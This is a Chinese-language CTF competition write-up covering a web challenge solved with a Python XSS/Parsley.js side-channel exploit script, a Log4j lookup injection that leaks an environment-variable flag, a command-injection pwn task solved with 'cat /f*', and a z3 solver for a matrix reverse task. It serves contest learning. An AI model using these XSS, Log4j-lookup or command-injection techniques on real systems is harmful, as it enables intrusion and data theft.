前言
第一次打线下赛,高强度坐牢8小时
Web
AirticleShare
XSS+parsley第三方库的利用+侧信道攻击
因为服务器返回数据的时间不确定,所以我这里sleep了个10秒,痛失抢血机会(
exp:
import requests
import time
import sys
def main(host, port):
s = requests.Session()
base_url = f"http://{host}:{port}/"
res = s.get(base_url)
pos = res.text.find('name="c" value="') + len('name="c" value="')
csrftoken = res.text[pos:pos+16]
ss = "abcdef0123456789"
flag = ""
for i in range(16):
for j in ss:
print("trying",j)
payload = f'''<form data-parsley-validate>
<input data-parsley-required
data-parsley-trigger=\"blur\"
data-parsley-error-message=\"<input type=button id=like>\"
data-parsley-errors-container=\"a[href^=\'/lookup.php?id={flag + j}\']\"
autofocus>
</form>'''
data = {'c': csrftoken, 'content': payload}
res = s.post(base_url + "add.php", data=data, allow_redirects=False)
#print(res.headers)
location = res.headers['Location']
pos = location.find('id=') + 3
wp = location[pos:]
data = {'c': csrftoken, 'id': wp}
res = s.post(base_url + "admin.php", data=data)
time.sleep(10)
res = s.get(f"http://{host}:{port}/lookup.php?id={wp}")
txt = res.text.replace("\n", "").replace("\r", "")
if "Liked by</h3>admin" not in txt:
flag += j
print(i,flag)
break
if __name__ == '__main__':
main("112.74.185.213","46795")
如果中间出现没爆出来的情况就把前面爆出来的那几位去掉最后一位,然后添加在flag前面继续爆就行
最后爆破出来的id:79f4f33bab98bffe
MyLinuxBot
log4j
加上官方wp修改了一下
题目附件(这里对变量名优化了一下
import os
import subprocess
from flask import Flask, render_template, request
jar_path = [已隐藏,内容不重要]
'''老板要我出一个攻击者绝对不会发现的CTF题目
我使用java开发真正需要处理的核心逻辑,并且隐藏在后端,这样绝对安全了
因为攻击者只可能去傻傻的寻找python漏洞,其实不知道应该去寻找Java的经典漏洞
而且我有日志记录攻击者轨迹随时可以发现
他们做梦也想不到我把flag藏在了FLAG环境变量里:-)
'''
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def aaa():
if request.method == 'POST':
a = request.form['text'].split(' ')
b = ''
if len(a) < 1:
return ('oh, invalid message', 400)
elif len(a) < 2:
b = a[0]
a = ''
else:
b, a = a[0], ' '.join(a[1:])
c = bbb(b, a)
return c
return render_template('home.html')
def bbb(d, e):
with open("/flag", "r") as f:
FLAG = f.read()
f = subprocess.run(['java', '-jar', '-Dcmd=' + d, jar_path, '--', e],
capture_output=True,
timeout=12,
env={"FLAG": FLAG})
return f.stdout.decode('utf-8')
if __name__ == '__main__':
port = os.environ['PORT'] if 'port' in os.environ else 1337
app.run(host='0.0.0.0', port=port)
代码审计一下:接受POST请求,提交我们text指定的命令,调用后端的java进程处理
分析Java部分源码发现:
- flag在环境变量flag中:
env={"FLAG": FLAG}
- LOGGER.info是唯一一个Log4j的调用
- 它将打印完整的参数,但不打印命令:
capture_output=True
- 从Python传递参数的方式是,只有零个或一个参数。但是,这个参数可能包含空格。
- 该命令是从系统属性cmd中获取的
- 命令必须以
/
开头 - 接下来,将命令和参数传递给doCommand函数
网页的xml文件
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
<Appenders>
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout
pattern="%d{HH:mm:ss.SSS} %-5level %logger{36}
executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
</Appenders>
<Loggers>
<Root level="debug">
<AppenderRef ref="Console" />
</Root>
</Loggers>
</Configuration>
这一段配置了Log4j的行为方式:
- 日志被写入stderr
${sys:cmd}
会打印到日志里%msg
是日志消息
这题做起来太迷了,要求开头带/
,然后跟我说权限不够执行命令,于是就想着提权(后日谈:原来可以用help
命令查看可执行的命令)
然后想了想又不对,回去看python源码,又去找架构的漏洞,不过这不就着了注释的道了?(
直到后面fuzz的时候,发现好像能用某些字符弄出报错带出信息,然后搜了一下报错信息对应的库,发现是log4j,有${java:version}
这样的命令用法
结合两个lookup
弄出报错获取环境变量
Pwn
admin
代码审计
ida64直接反编译
int sub_15B1()
{
puts("1. mmap");
puts("2. read");
puts("3. write");
puts("4. su");
puts("5. cmd");
return puts(">> ");
}
1
__int64 sub_16CA()
{
unsigned int v0; // ebx
__int64 v1; // rax
unsigned int v3; // [rsp+4h] [rbp-1Ch]
__int64 v4; // [rsp+8h] [rbp-18h]
puts("Start Address: ");
v4 = sub_14DD();
sub_1546(v4);
puts("Size: ");
v3 = sub_14DD();
sub_1546((int)v3 + v4);
v0 = dword_4010;
v1 = sub_1585(v4);
return sub_1604(v1, v0, v3);
}
2
void sub_1757()
{
int v0; // [rsp+4h] [rbp-2Ch]
int v1; // [rsp+8h] [rbp-28h]
int v2; // [rsp+Ch] [rbp-24h]
__int64 v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
__int64 v5; // [rsp+20h] [rbp-10h]
char *buf; // [rsp+28h] [rbp-8h]
puts("Start Address: ");
v4 = sub_14DD();
sub_1546(v4);
puts("Size: ");
v2 = sub_14DD();
sub_1546(v2 + v4);
v5 = sub_1585(v4);
if ( dword_4010 && *(_DWORD *)(*(_QWORD *)v5 + 4LL) != dword_4010 )
err("Permission Denied!");
buf = (char *)malloc(v2);
v0 = 0;
v1 = v2;
v3 = *(_QWORD *)v5;
while ( v1 > 0 )
{
if ( v1 <= 4095 )
{
memcpy(&buf[v0], (const void *)(*(_QWORD *)(v3 + 8) + 8LL), v1);
v0 += v1;
}
else
{
memcpy(&buf[v0], (const void *)(*(_QWORD *)(v3 + 8) + 8LL), 0xFF8uLL);
v0 += 4088;
}
v1 -= 4096;
v3 = *(_QWORD *)(v3 + 16);
}
write(1, buf, v2);
free(buf);
}
3
void sub_18D0()
{
int v0; // [rsp+0h] [rbp-30h]
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-18h]
__int64 v6; // [rsp+20h] [rbp-10h]
char *buf; // [rsp+28h] [rbp-8h]
puts("Start Address: ");
v5 = sub_14DD();
sub_1546(v5);
puts("Size: ");
v2 = sub_14DD();
puts("Offset: ");
v3 = sub_14DD();
sub_1546(v5 + v2 + v3);
v6 = sub_1585(v5);
if ( dword_4010 && *(_DWORD *)(*(_QWORD *)v6 + 4LL) != dword_4010 )
err("Permission Denied!");
buf = (char *)malloc(v2);
v0 = 0;
v1 = v2;
puts("Content: ");
read(0, buf, v2);
v4 = *(_QWORD *)v6;
while ( v1 > 0 )
{
if ( v1 <= 4096 )
{
memcpy((void *)(*(_QWORD *)(v4 + 8) + 8LL), &buf[v0], v1);
v0 += v1;
}
else
{
memcpy((void *)(*(_QWORD *)(v4 + 8) + 8LL), &buf[v0], 0xFF8uLL);
v0 += 4088;
}
v1 -= 4096;
v4 = *(_QWORD *)(v4 + 16);
}
free(buf);
}
4
unsigned __int64 sub_1A78()
{
__int64 v0; // rax
int i; // [rsp+4h] [rbp-2Ch]
int j; // [rsp+8h] [rbp-28h]
int fd; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
if ( !qword_4050 )
{
for ( i = 0; i <= 15; ++i )
{
if ( !**(_DWORD **)(((__int64)i << 12) + qword_4068) )
{
sub_1604(*(_QWORD *)(*(_QWORD *)(((__int64)i << 12) + qword_4068) + 8LL), 0LL, 4096LL);
qword_4050 = *(_QWORD *)(*(_QWORD *)(((__int64)i << 12) + qword_4068) + 8LL);
break;
}
if ( i == 15 && **(_DWORD **)(qword_4068 + 61440) )
err("Out Of Memory!");
}
::buf = (void *)(qword_4050 + 8);
file = (char *)(qword_4050 + 24);
v0 = qword_4050 + 24;
*(_QWORD *)(qword_4050 + 24) = 0x6477737361702F2ELL;
*(_BYTE *)(v0 + 8) = 0;
}
fd = open(file, 2);
if ( fd < 0 )
err("Passwd Not Found!");
read(fd, ::buf, 8uLL);
close(fd);
puts("Passwd: ");
read(0, buf, 0x100uLL);
for ( j = 0; j <= 7; ++j )
{
if ( buf[j] != *((_BYTE *)::buf + j) )
{
puts("Wrong Passwd");
return __readfsqword(0x28u) ^ v6;
}
}
puts("Login Success!");
puts("Please be responsible for your ANY actions");
dword_4010 = 0;
return __readfsqword(0x28u) ^ v6;
}
5
unsigned __int64 sub_1C86()
{
int i; // [rsp+4h] [rbp-2Ch]
int j; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Command: ");
v3 = read(0, buf, 0x100uLL);
if ( dword_4010 == 1 )
{
for ( i = 0; i < v3 - 2; ++i )
{
if ( !strncmp(&buf[i], "sh", 2uLL) )
err("Permission Denied!");
}
for ( j = 0; j < v3 - 4; ++j )
{
if ( !strncmp(&buf[j], "flag", 4uLL) )
err("Permission Denied!");
}
goto LABEL_14;
}
if ( !dword_4010 )
LABEL_14:
system(buf);
return __readfsqword(0x28u) ^ v5;
}
五个选项看下来,直接选cmd,存在system可以直接命令执行,只过滤了flag,直接cat /f*
就行
Reverse
justamat
原题,参考bit爷的gwb2021
经过调试发现,是将我们的输入拼凑到一个字符数组后面,44个,然后再拼接_you_get_it
这句字符串,产生了一个100的字符数组
使用矩阵乘法,exp:
from z3 import *
final=[0x0001C633, 0x0001DF94, 0x00020EBF,
0x0002BA40, 0x0001E884, 0x000260D1, 0x0001F9B1,
0x0001EA1A, 0x0001EEAA, 0x0001DFB2, 0x0001C1D0,
0x0001EEF2, 0x000216E1, 0x0002BE00, 0x0001FB5E,
0x00025D74, 0x0001F000, 0x000202D6, 0x00020002,
0x0001DDFE, 0x0001C017, 0x0001F08C, 0x000227F6,
0x0002C7BA, 0x000201AE, 0x00027FBF, 0x00020E21,
0x0001FF5C, 0x0001FD62, 0x0001E948, 0x0001BE6E,
0x0001F4D7, 0x00022C8D, 0x0002C353, 0x0001F8DB,
0x00026E1D, 0x0001FF61, 0x0001EA0F, 0x0001F0D6,
0x0001EDA8, 0x0001AD7D, 0x00018218, 0x0001CCD4,
0x000239B6, 0x0001AC4C, 0x00020D7C, 0x0001D967,
0x0001A4F4, 0x0001CAD8, 0x000196AE, 0x0001831B,
0x00017E45, 0x0001D0CF, 0x00023EDF, 0x000181AE,
0x00021760, 0x0001D3B4, 0x000175D6, 0x00017D3A,
0x0001994F, 0x0001189D, 0x00014CCF, 0x0001568E,
0x00017EEB, 0x0001327E, 0x00016A45, 0x00012921,
0x00011FF0, 0x00013643, 0x00011729, 0x00015191,
0x00017D17, 0x00017262, 0x0001A863, 0x00017010,
0x00017B10, 0x00014F9C, 0x000143E8, 0x00015E9B,
0x0001242C, 0x0000F68C, 0x0001192A, 0x000150AD,
0x0001B1A0, 0x00014C60, 0x000182AB, 0x00013F4B,
0x000141A6, 0x00015AA3, 0x000135C9, 0x0001D86F,
0x0001E8FA, 0x0002158D, 0x0002BDAC, 0x00020E4F,
0x00027EE6, 0x000213B9, 0x00020E86, 0x000211FF,
0x0001E1EF]
second=[0x000000FE, 0x0000000B, 0x0000001D,
0x000000F6, 0x00000083, 0x000000FF, 0x000000E0,
0x000000B8, 0x000000DD, 0x000000B0, 0x000000C5,
0x000000DE, 0x000000F6, 0x00000014, 0x0000009F,
0x000000DD, 0x000000D9, 0x00000007, 0x0000002D,
0x0000006B, 0x00000019, 0x000000CA, 0x00000073,
0x000000FD, 0x00000087, 0x00000072, 0x00000024,
0x00000004, 0x00000049, 0x0000007E, 0x000000A9,
0x000000CE, 0x00000091, 0x000000BE, 0x00000041,
0x00000018, 0x00000060, 0x0000003F, 0x0000002B,
0x00000063, 0x0000001C, 0x000000D2, 0x00000090,
0x000000E9, 0x0000008E, 0x000000BA, 0x0000001E,
0x000000F3, 0x00000041, 0x000000AD, 0x0000002C,
0x00000003, 0x00000069, 0x000000DA, 0x00000010,
0x000000FD, 0x000000FD, 0x000000E7, 0x00000006,
0x00000036, 0x000000D6, 0x00000002, 0x00000059,
0x00000018, 0x000000CC, 0x00000050, 0x00000087,
0x000000AF, 0x000000FB, 0x00000018, 0x00000044,
0x0000007F, 0x000000AD, 0x000000F8, 0x0000002C,
0x00000067, 0x0000001D, 0x00000022, 0x00000084,
0x000000AC, 0x0000000E, 0x00000023, 0x000000DC,
0x000000E6, 0x000000BB, 0x000000D2, 0x000000B8,
0x0000004A, 0x000000BC, 0x000000DE, 0x00000050,
0x0000009C, 0x0000001C, 0x0000001E, 0x00000086,
0x0000003A, 0x0000002D, 0x000000DD, 0x000000C3,
0x00000003]
input=[0x00000074, 0x00000068, 0x00000065,
0x00000072, 0x00000065, 0x0000005F, 0x00000061,
0x00000072, 0x00000065, 0x0000005F, 0x00000061,
0x0000005F, 0x0000006C, 0x0000006F, 0x00000074,
0x0000005F, 0x00000075, 0x00000073, 0x00000065,
0x0000006C, 0x00000065, 0x00000073, 0x00000073,
0x0000005F, 0x00000069, 0x0000006E, 0x00000066,
0x0000006F, 0x00000072, 0x0000006D, 0x00000061,
0x00000074, 0x00000069, 0x0000006F, 0x0000006E,
0x0000005F, 0x00000062, 0x00000075, 0x00000074,
0x0000005F, 0x0000006F, 0x00000068, 0x0000002E,
0x0000006F, 0x00000030, 0x0000004F, 0x0000005F,
0x00000031, 0x00000032, 0x00000033, 0x00000034,
0x00000035, 0x00000036, 0x00000037, 0x00000038,
0x00000039, 0x00000031, 0x00000032, 0x00000033,
0x00000034, 0x00000035, 0x00000036, 0x00000037,
0x00000038, 0x00000039, 0x00000031, 0x00000032,
0x00000033, 0x00000034, 0x00000035, 0x00000036,
0x00000037, 0x00000038, 0x00000039, 0x00000031,
0x00000032, 0x00000033, 0x00000034, 0x00000035,
0x00000036, 0x00000037, 0x00000038, 0x00000039,
0x00000031, 0x00000032, 0x00000033, 0x00000034,
0x00000035, 0x00000036, 0x0000005F, 0x00000079,
0x0000006F, 0x00000075, 0x0000005F, 0x00000067,
0x00000065, 0x00000074, 0x0000005F, 0x00000069,
0x00000074]
Str=[BitVec('flag%d'%tmp,8) for tmp in range(42)]
s=Solver()
# 先处理前三个的问题:
for count in range(10):
s.add(input[40]*second[count+0]+input[41]*second[count+10]+input[42]*second[count+20]+input[43]*second[count+30]+input[44]*second[count+40]+input[45]*second[count+50]+input[46]*second[count+60]+Str[0]*second[count+70]+Str[1]*second[count+80]+Str[2]*second[count+90]==final[4*10+count])
# 再处理中间的三十的内容:
for count1 in range(10):
s.add(Str[3]*second[count1+0]+Str[4]*second[count1+10]+Str[5]*second[count1+20]+Str[6]*second[count1+30]+Str[7]*second[count1+40]+Str[8]*second[count1+50]+Str[9]*second[count1+60]+Str[10]*second[count1+70]+Str[11]*second[count1+80]+Str[12]*second[count1+90]==final[5*10+count1])
for count2 in range(10):
s.add(Str[13]*second[count2+0]+Str[14]*second[count2+10]+Str[15]*second[count2+20]+Str[16]*second[count2+30]+Str[17]*second[count2+40]+Str[18]*second[count2+50]+Str[19]*second[count2+60]+Str[20]*second[count2+70]+Str[21]*second[count2+80]+Str[22]*second[count2+90]==final[6*10+count2])
for count3 in range(10):
s.add(Str[23]*second[count3+0]+Str[24]*second[count3+10]+Str[25]*second[count3+20]+Str[26]*second[count3+30]+Str[27]*second[count3+40]+Str[28]*second[count3+50]+Str[29]*second[count3+60]+Str[30]*second[count3+70]+Str[31]*second[count3+80]+Str[32]*second[count3+90]==final[7*10+count3])
# 继续处理后9个:
for count4 in range(10):
s.add(Str[33]*second[count4+0]+Str[34]*second[count4+10]+Str[35]*second[count4+20]+Str[36]*second[count4+30]+Str[37]*second[count4+40]+Str[38]*second[count4+50]+Str[39]*second[count4+60]+Str[40]*second[count4+70]+Str[41]*second[count4+80]+input[89]*second[count4+90]==final[8*10+count4])
if s.check():
a=s.model()
print(a)
flag=""
for i in range(42):
flag+=chr(a[Str[i]].as_long())
print(flag)